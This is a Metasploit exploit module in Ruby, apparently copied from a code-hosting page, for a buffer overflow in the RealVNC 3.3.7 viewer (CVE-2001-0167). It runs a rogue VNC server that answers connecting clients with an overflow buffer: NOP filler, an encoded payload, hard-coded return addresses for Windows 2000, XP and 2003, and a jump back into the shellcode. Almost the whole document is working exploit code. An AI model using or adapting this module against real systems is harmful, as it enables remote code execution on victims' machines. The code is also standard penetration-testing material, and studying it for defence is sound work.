86 lines
2.1 KiB
Ruby
86 lines
2.1 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::TcpServer
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'RealVNC 3.3.7 Client Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a buffer overflow in RealVNC 3.3.7 (vncviewer.exe).
|
|
},
|
|
'Author' => 'MC',
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2001-0167' ],
|
|
[ 'OSVDB', '6281' ],
|
|
[ 'BID', '2305' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 500,
|
|
'BadChars' => "\x00\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
|
|
'MaxNops' => 0,
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c2ec68b } ],
|
|
[ 'Windows XP SP2 English', { 'Ret' => 0x77dc15c0 } ],
|
|
[ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ],
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Jan 29 2001',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])
|
|
], self.class)
|
|
end
|
|
|
|
def on_client_connect(client)
|
|
|
|
rfb = "RFB 003.003\n"
|
|
|
|
client.put(rfb)
|
|
end
|
|
|
|
def on_client_data(client)
|
|
return if ((p = regenerate_payload(client)) == nil)
|
|
|
|
filler = make_nops(993 - payload.encoded.length)
|
|
|
|
sploit = "\x00\x00\x00\x00\x00\x00\x04\x06" + filler + payload.encoded
|
|
sploit << [target.ret].pack('V') + make_nops(10) + [0xe8, -457].pack('CV')
|
|
sploit << rand_text_english(200)
|
|
|
|
print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
|
|
client.put(sploit)
|
|
|
|
handler
|
|
service.close_client(client)
|
|
end
|
|
|
|
end
|